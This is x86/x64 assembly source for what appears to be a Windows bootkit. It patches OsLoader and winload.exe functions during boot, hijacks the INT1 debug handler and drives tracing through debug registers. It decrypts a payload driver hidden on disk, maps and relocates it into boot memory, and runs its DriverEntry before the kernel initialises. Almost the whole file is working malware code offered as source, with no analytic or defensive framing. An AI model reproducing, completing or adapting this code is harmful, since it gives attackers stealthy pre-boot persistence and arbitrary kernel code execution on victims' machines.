;// x86 only code ;// Replaces 'CALL [ebp+XXXX]' or 'PUSH [ebp+XXXX]' instruction within OsLoader!BlOsLoader() function. ;// Takes KiSystemStartup address from the [ebp+XXXX] and hooks it with KernelHook5(). TransferHook5 proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- push edx push edi push ebp push ecx mov ebp, var_offset_core add ebp, esi ;// Restoring patched bytes to original values mov cl, 5 call ebp db F_RestoreCall mov eax, [esp+4] ;// Local EBP value ;// ECX points to original bytes restored (CALL [ebp+XXXX] or PUSH [ebp+XXXX]) test byte ptr [ecx+1], 80h ;// Checking operand size (byte or dword) mov ecx, [ecx+2] ;// Taking operand value jnz @F movsx ecx, cl ;// Taking a byte, converting to a signed word @@: mov edi, [eax+ecx] ;// KiSystemStartup address MOV_CL_ID F_KernelHook5 call ebp db F_PatchCall pop ecx pop ebp pop edi pop edx pop esi TransferHook5_end:: ret TransferHook5 endp ;// NT6 specific function. ;// Scans winload.exe image for any BlImgAllocateImageBuffer() function call. ;// Patches the function found. HookAlloc6 proc ;// EDX - any instruction within the Winload.exe push edx pop edi mov ecx, 70000h ;// Looking for the signature. @@: mov al, 12h repnz scasb jecxz HookAlloc6_end cmp dword ptr [edi-1], 0e0000012h jnz @B ;// Since 0e0000012h is the 4th parameter of our function there can't be less then 4 PUSHes after "PUSH 0e0000012h" instruction, ;// so adding instruction length and the size of 4 PUSH opcodes to EDI. add edi, (3 + 4) ;// Looking for the "CALL NEAR XXXX" at the first 16 bytes near the signature. push ecx mov al, 0e8h push 10h pop ecx repnz scasb test ecx,ecx pop ecx jz @B ;// Patching REXW DECL_EDI REXW add esi, 8 MOV_CL_ID F_LoadFile6 call ebp db F_PatchCall HookAlloc6_end:: ret HookAlloc6 endp ;// NT5 specific function. ;// Scans OSLoader.exe image for any BlAllocateAlignedDescriptor() function call. ;// Patches the function found. HookAlloc5 proc ;// EDX - any instruction within the OSloader.exe ;// 2 dwords of Pattern on stack pushad push edx pop edi mov ecx, 70000h mov al, 0e8h @@: repnz scasb jecxz HookAlloc5_exit cmp dword ptr [edi-5], 196a006ah jnz @B mov eax, [edi] lea edi, [edi+eax+4] ;// Patching found function entry instruction add esi, 8 MOV_CL_ID F_LoadFile5 call ebp db F_PatchCall HookAlloc5_exit: popad ret HookAlloc5_end:: HookAlloc5 endp ;// NT5 hook function. ;// Hooks BlAllocateAlignedDescriptor(), copies parameters and calls the original one to allocate memory for the driver. ;// Then copies payload driver image into the memory and rebuilds it. LoadFile5 proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- pushad ;// Loading CORE pointer mov ebp, var_offset_core add ebp, esi sub ebp, 8 ;// Restoring patched bytes to original values mov cl, 9 call ebp db F_RestoreCall ;// Obtaining function address mov edi, ecx ;// Calling original function with original parameters to make sure it will not fail. ;// Old NT5 SP0 OsLoader calls this function before the memory subsystem initializes and this call always fails. push 5 pop ecx ;// Copying original parameters @@: push [esp+11*4+4*4] loop @B ;// Calling BlAllocateAlignedDescriptor() function call edi test eax,eax ;// Saving orginal return value mov [esp+9*4], eax jz @F ;// The call failed. ;// Hooking the target function again to try it next time. MOV_CL_ID F_LoadFile5 call ebp db F_PatchCall jmp LoadFile5_exit @@: ;// The call successed. call ebp db F_DecryptImage push eax ;// Old image base push edx ;// Image size ;// Formating call stack, storing parameters push esi ;// *ActualBase push 1 ;// Alignment shr edx, 0ch push edx ;// PageCount push 0 ;// BasePage push LoaderSystemCode ;// MemoryType ;// Calling BlAllocateAlignedDescriptor() function call edi mov edi, [esi] pop ecx ;// image size or edi, 0fff80000h shl edi, 0ch mov [esi], edi pop esi ;// old image base call ebp db F_BuildImage LoadFile5_exit: popad pop esi ;// Restoring original return value pop eax ret 20 LoadFile5_end:: LoadFile5 endp ;// NT6 hook function. ;// Hooks BlImgAllocateImageBuffer() function, copies parameters and calls the original one to allocate memory for the driver. ;// Then copies payload driver image into the memory and rebuilds it. LoadFile6 proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- push eax ;// Saving EAX because there's a parameter passed through it on WIN8 push edx push edi push ebp push ecx mov ebp, var_offset_core REXW add ebp, esi REXW sub ebp, 8 ;// Restoring patched bytes to original values mov cl, 6 call ebp db F_RestoreCall ;// Obtaining function address mov edi, [ecx+1] lea edi, [ecx+edi+5] ;// Saving registers REXB ;// push r8 push eax ;// REXB ;// push r9 push ecx ;// call ebp db F_DecryptImage push eax ;// Old image Base push edx ;// image size push ebp ;// core pointer push esp pop ebp ;// Formating call stack, storing parameters mov ecx, 0 push ecx ;// Flags for x64 push ecx ;// Flags for x86 push 0 ;// AllocationFlags ;// Keeping original value of r9 ;// push 0 ;// REXB ;// pop r9 ;// pop ecx ;// mov ecx, 0e0000012h push ecx ;// AllocationProtect push ecx xor ecx,ecx REXB ;// pop r8 pop eax ;// jecxz @F push 0 ;// ImageSize High (only for x86) @@: push edx ;// ImageSize Low push esi ;// pImageBase push esi pop ecx xor eax,eax ;// Calling BlImgAllocateImageBuffer() function call edi push ebp pop esp pop ebp ;// core pointer REXW mov edi, [esi] pop ecx ;// image size pop esi ;// old image base call ebp db F_BuildImage REXB ;// pop r9 pop ecx ;// REXB ;// pop r8 pop eax ;// pop ecx pop ebp pop edi pop edx pop eax pop esi LoadFile6_end:: ret LoadFile6 endp DecryptImage proc ;// returns: ;// EDX - image size ;// EAX - image base ;// ESI - pImageBase push edi GETPTR F_FileName movzx esi, word ptr [eax] push eax shl esi, 4 push esi ;// old image base mov edx, (CHSS ptr [eax]).XorValue push esi pop edi movzx ecx, (CHSS ptr [eax]).NumberSectors shl ecx, 7 @@: lodsd ror eax, cl xor eax, edx sub eax, ecx stosd loop @B pop eax ;// old image base mov edx, (IMAGE_DOS_HEADER ptr [eax]).e_lfanew add edx, eax mov edx, (IMAGE_OPTIONAL_HEADER ptr [(IMAGE_NT_HEADERS ptr [edx]).OptionalHeader]).SizeOfImage add edx, 0fffh and edx, 0fffff000h pop esi ;// pImageBase pop edi DecryptImage_end:: ret DecryptImage endp ;// Creates executable image from the specified file image. Processes relocations. BuildImage proc ;// RSI - file base ;// RDI - new image base ;// RCX - image size (bytes) push ebx ;// Zeroing new image push edi shr ecx, 2 xor eax,eax rep stosd pop edi mov ebx, (IMAGE_DOS_HEADER ptr [esi]).e_lfanew REXW add ebx, esi movzx ecx, (IMAGE_FILE_HEADER ptr [(IMAGE_NT_HEADERS ptr [ebx]).FileHeader]).SizeOfOptionalHeader lea edx, (IMAGE_NT_HEADERS ptr [ebx]).OptionalHeader REXW add edx, ecx ;// Copying image headers from the start of the image to the start of the first section push esi push edi mov ecx, (IMAGE_SECTION_HEADER ptr [edx]).PointerToRawData rep movsb pop edi pop esi ;// Copying image sections movzx ecx, (IMAGE_FILE_HEADER ptr [(IMAGE_NT_HEADERS ptr [ebx]).FileHeader]).NumberOfSections @@: push ecx push esi push edi mov ecx, (IMAGE_SECTION_HEADER ptr [edx]).VirtualAddress REXW add edi, ecx mov ecx, (IMAGE_SECTION_HEADER ptr [edx]).PointerToRawData REXW add esi, ecx mov ecx, (IMAGE_SECTION_HEADER ptr [edx]).SizeOfRawData ;// Default file alingment of 0x200 used add ecx, 1ffh and ecx, (not 1ffh) rep movsb ;// Next section REXW add edx, sizeof(IMAGE_SECTION_HEADER) pop edi pop esi pop ecx loop @B ;// Resolving image relocation table and it's size push edi ;// New image base REXW mov edi, (IMAGE_OPTIONAL_HEADER ptr [(IMAGE_NT_HEADERS ptr [ebx]).OptionalHeader]).BaseOfData ;// ImageBase for x64 cmp (IMAGE_FILE_HEADER ptr [(IMAGE_NT_HEADERS ptr [ebx]).FileHeader]).Machine, IMAGE_FILE_MACHINE_AMD64 lea esi, [ebx+0b0h] jz @F ;// Resolving X86 image mov edi, (IMAGE_OPTIONAL_HEADER ptr [(IMAGE_NT_HEADERS ptr [ebx]).OptionalHeader]).ImageBase sub esi, 10h @@: pop ebx ;// New image base ;// Reloc directory RVA lodsd xchg eax, edx ;// Reloc directory size lodsd xchg eax, ecx ;// Checking if no relocs present test edx, edx jz @F REXW add edx, ebx call ebp db F_ApplyRelocs @@: pop ebx BuildImage_end:: ret BuildImage endp ;// Processes image relocation table and applies relocation fixups. ApplyRelocs proc ;// rbx = new image base ;// rdi = old image base ;// rdx = relocation table ;// ecx = size of the table push ebp push edx pop ebp _PROCESS_NEXT_RELOCATION_PAGE: jecxz _RELOCATIONS_NOT_FOUND mov esi, [ebp] ;// next page to apply REXW add esi, ebx mov edx, [ebp + 04h] ;// relocs size for current page sub ecx, edx cmp edx, 00000008h ja _CONTINUE REXW add ebp, edx sub ecx, edx jmp _PROCESS_NEXT_RELOCATION_PAGE _CONTINUE: REXW add ebp, 08h sub edx, 08h _CONTINUE1: push edx push ebx movzx edx, word ptr [ebp] REXW sub ebx, edi mov al, dh and edx, 0FFFh shr al, 4 cmp al, IMAGE_REL_BASED_DIR64 jz _DIR64 cmp al, IMAGE_REL_BASED_HIGHLOW jnz _APPLY_NEXT_RELOC _HIGHLOW: REXW add edx, esi add [edx], ebx jmp _APPLY_NEXT_RELOC _DIR64: REXW add edx, esi REXW add ebx, [edx] xor eax,eax REXW mov [edx], ebx jz _APPLY_NEXT_RELOC add dword ptr [edx+4], 0fffff800h btr dword ptr [edx], 31 _APPLY_NEXT_RELOC: pop ebx pop edx REXW add ebp, 2 sub edx, 2 jnz _CONTINUE1 jmp _PROCESS_NEXT_RELOCATION_PAGE _RELOCATIONS_NOT_FOUND: pop ebp ApplyRelocs_end:: ret ApplyRelocs endp ;// Restores patched CALL instruction and adjust the retpoint so it points to the restored instruction. RestoreCall proc ;// ESI - code base ;// EDI - stack pointer ;// CL - number of parameters pushed into the stack ;// returns: ;// ECX - original bytes offset INCL_ECX call ebp db F_GetParamPtr push esi ;// Restoring original code bytes sub dword ptr [edi], 5 REXW mov edi, [edi] mov ecx, var_code_size push edi REXW add esi, ecx movsb movsd pop ecx pop esi RestoreCall_end:: ret RestoreCall endp ;// Returns pointer to the parameter within the stack specified by it's index. ;// This is common function fo x86 and x64. GetParamPtr proc ;// CL - parameter index ;// returns: ;// EDI - pointer to a parameter movzx ecx, cl xor eax, eax REXW INCL_EAX add eax, 2 xchg eax, ecx INCL_EAX shl eax, cl xchg eax, ecx REXW lea edi, [esp+ecx] GetParamPtr_end:: ret GetParamPtr endp ;// Patches specified offset with "CALL NEAR XXXX" instruction. PatchCall proc ;// EDI - offset to patch ;// CL - hook function index push esi call ebp db F_Ofs push eax pop edx mov ecx, var_code_size mov [eax+CODE_BASE_OFFSET], esi ;// Reseting the highest address bit for x86 to x64 address compatibility bt edi, 31 jnc @F bts edx, 31 @@: REXW add esi, ecx REXW xchg esi, edi movsb movsd mov byte ptr [esi-5], 0e8h REXW sub edx, esi mov dword ptr [esi-4], edx pop esi PatchCall_end:: ret PatchCall endp ;// Searches for NT kernel base and Loader parameter block. Initializes NT driver. InitNt proc ;// ECX - Loader parameter block pointer ;// EDX - any address within the NT image. push edi push ebx push ecx pop ebx ;// Clearing all breakpoints mov eax, 00000600h mov dr7, eax ;// Searching for NT image base push edx and word ptr [esp], 0f000h pop edx @@: cmp word ptr [edx], 'ZM' jz @F REXW sub edx, 1000h jmp @B @@: ;// --------------------------------------------------------------------------------------------------------------------- ;// Saving loaded module base within the NT kernel (for debugging only) ; push ecx ; GETPTR F_FileName ; push dword ptr [eax] ; pop edi ;// Driver base ; REXW ; mov [edx+8], edi ; pop ecx ;// ---------------------------------------------------------------------------------------------------------------------- REXW mov ecx, [ebx] REXW test ecx, ecx js @F ;// Win7 loader block. There are additional 10h bytes with version and sizes at the beginning. REXW add ebx, 10h @@: call ebp db F_RegisterDriver InitNt_exit: pop ebx pop edi ret InitNt_end:: InitNt endp ;// Allocates and fills BK_LDR_CONTEXT structure and then calls DriverEntry. RegisterDriver proc ;// EBX - pointer to Loader parameter block. ;// EDX - NT kernel base. push edx push esi ;// Saving x64 volatile registers so they could be used by the driver REXB ;// push r8 push eax ;// REXB ;// push r9 push ecx ;// REXB ;// push r10 push edx ;// REXB ;// push r11 push ebx ;// ;// Preserving ESP, coz different architectures will use different number of parameters push esp pop esi ;// Allocating and filling BK_LDR_CONTEXT structure on the stack push ebx ;// BK_LDR_CONTEXT.NtLoaderBlock push edx ;// BK_LDR_CONTEXT.NtImageBase ;// There should be our driver base replacing it's name GETPTR F_FileName push dword ptr [eax] pop edi ;// Driver base ;// Validating driver base pointer. ;// It may happen that our driver was not loaded for any reason, ;// in this case the pointer will not point to system addresses. REXW test edi, edi js @F ;// NT5 x64 OSLoader loads 64-bit drivers in 32-bit mode. ;// So our driver image base is 32-bit too. And here we have to convert it to the long-mode address. btr edi, 31 jnc RegisterDriver_exit push edx mov [esp], edi pop edi @@: ;// Geting driver size and entry point from it's image mov ecx, (IMAGE_DOS_HEADER ptr [edi]).e_lfanew REXW lea edx, [edi+ecx] mov ecx, (IMAGE_OPTIONAL_HEADER ptr [(IMAGE_NT_HEADERS ptr [edx]).OptionalHeader]).SizeOfImage mov ebx, (IMAGE_OPTIONAL_HEADER ptr [(IMAGE_NT_HEADERS ptr [edx]).OptionalHeader]).AddressOfEntryPoint REXW add ebx, edi push ecx ;// BK_LDR_CONTEXT.DriverSize push ebx ;// BK_LDR_CONTEXT.DriverEntry push edi ;// BK_LDR_CONTEXT.DriverBase ;// Initializing parameters push esp pop edx ;// Aligning stack push edx and dword ptr [esp], 0fffffff0h pop esp xor ecx,ecx push ecx push ecx push edx push ecx ;// Calling our driver entry call ebx ;// Geting driver size and entry point from it's image mov ecx, (IMAGE_DOS_HEADER ptr [edi]).e_lfanew REXW add ecx, edi ;// Setting IMAGE_FILE_RELOCS_STRIPPED flags to make sure our driver will not be relocated by MiReloadBootLoadedDrivers. ;// The reason is that there are global linked structures like BOOT_DRIVER_LIST_ENTRY within our driver's data section. or (IMAGE_FILE_HEADER ptr [(IMAGE_NT_HEADERS ptr [ecx]).FileHeader]).Characteristics, IMAGE_FILE_RELOCS_STRIPPED RegisterDriver_exit: ;// Restoring ESP push esi pop esp ;// Restoring x64 volatile registers REXB ;// pop r11 pop ebx ;// REXB ;// pop r10 pop edx ;// REXB ;// pop r9 pop ecx ;// REXB ;// pop r8 pop eax ;// pop esi pop edx RegisterDriver_end:: ret RegisterDriver endp ;// Searches for "CALL Reg32" instruction that gives control to winload!OslMain() function ;// Patches at "CALL Reg32" with "CALL GetWinload()" instruction. LmSwitch proc push edi lea edi, [edx+3] push 7Fh pop ecx mov al, 0ffh @@: repnz scasb jecxz LmSwitch_exit mov ah, byte ptr [edi] and ah, 0fch cmp ah, 0d0h ;// CALL Reg32 jnz @B lea eax, [edi-2] dec edi cmp byte ptr [eax], 048h cmovz edi, eax MOV_CL_ID F_GetWinload call ebp db F_PatchCall xor eax,eax LmSwitch_exit: pop edi LmSwitch_end:: ret LmSwitch endp ;// NT6 hook function. ;// Scans winload.exe for 2 signatures and patches it two times: one for loading a drivers and one for processing NT load. GetWinload proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- push edi push ebp push ebx push edx push ecx push eax mov ebp, var_offset_core REXW add ebp, esi ;// Restoring original code bytes mov cl, 7 call ebp db F_RestoreCall ;// Checking original bytes to find ot the register used in "CALL Reg32" instruction. cmp byte ptr [ecx], 48h mov edx, [ecx+2] mov ecx, [ecx+1] cmovz ecx, edx and ecx, 3 ;// Getting value of the call register. It should be the entry point of winload.exe module. call ebp db F_GetParamPtr push [edi] pop edx push edx ;// Calling Winload patch routine call ebp db F_Winload ;// Calling file load patch routine pop edx call ebp db F_HookAlloc6 pop eax pop ecx pop edx pop ebx pop ebp pop edi pop esi ret GetWinload_end:: GetWinload endp ;// INT1 handler routine. ;// Used to process DR-breaking and tracing. Int1Handler proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSH ESI/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;// ---------------------------------------------------------- ;// Saving all registers used. Reinitializing DS and ES. push eax mov ax, ds push eax mov ax, es push eax mov ax, ss mov ds, ax mov es, ax push ecx push edx push ebp ;// Checking break condition mov ecx, dr6 btr ecx, 2 ;// DR2 break mov dr6, ecx setc cl ;// Clearing our breakpoints (if any) mov eax, dr7 jc @F and eax, (not 00030002h) ;// Disable DR0 break @@: and eax, (not 00000020h) ;// Disable DR2 break mov dr7, eax ;// Initializing CORE pointer mov ebp, var_offset_core REXW add ebp, esi ;// Examining call stack, obtaining retpoint xor eax,eax REXW mov edx, [esp+1ch] ;// retpoint for x86 ;// 64-bit code ends here, leaving jz Int1_pop_and_leave inc dword ptr [esp+14h] ;// to compensate REXW before IRETD ;// 32-bit only code here. ;// Any function called from here should preserve EBX and EDI check_codes: ;// Checking if breaked on OsLoader entry. test cl, cl jnz check_nt5 ;// Checking if this is NT5 ;// This code added for NT5 SP0 that has OsLoader entry point other then 0x401000 and also relocates IDT within it. push ecx sidt [esp-2] pop ecx test cl, cl jnz lmswitch check_nt5: ;// NT5 and NT6 x86. push edx call ebp db F_Winload pop edx ;// Hooking memory allocation routime call ebp db F_HookAlloc5 ;// Clearing EAX to reset trace xor eax,eax jmp Int1_exit lmswitch: ;// Searching for GTDR or IDTR load instruction. ;// BOOTMGR reloads GDT and LDT just before calling WINLOAD.EXE. cmp word ptr [edx], 010fh ;// any kind of GDT or IDT operation jnz Int1_exit test byte ptr [edx+2], 10h ;// LOAD operation (LGDT or LIDT) jz Int1_exit call ebp db F_LmSwitch Int1_exit: ;// Setting or reseting TF, depending on EAX value. ;// Acctually TF is set until LmSwitch returns 0. and byte ptr [esp+24h+1], 0feh test eax,eax jz Int1_pop_and_leave or byte ptr [esp+24h+1], 1 ;// set TF Int1_pop_and_leave: ;// Restoring all registers used pop ebp pop edx pop ecx pop eax mov es, ax pop eax mov ds, ax pop eax pop esi REXW iretd Int1Handler_end:: Int1Handler endp ;// Place to store the payload driver address on disk (LBA) and it's size FileName proc db sizeof(CHSS) dup (33h) FileName_end:: FileName endp ;//--- API ----------------------------------------------------------------------------------------------------------------- GetInstructionLen proc buf:DWORD push esi mov esi, buf call c_Catchy pop esi ret GetInstructionLen EndP end
20.254738
128
0.686854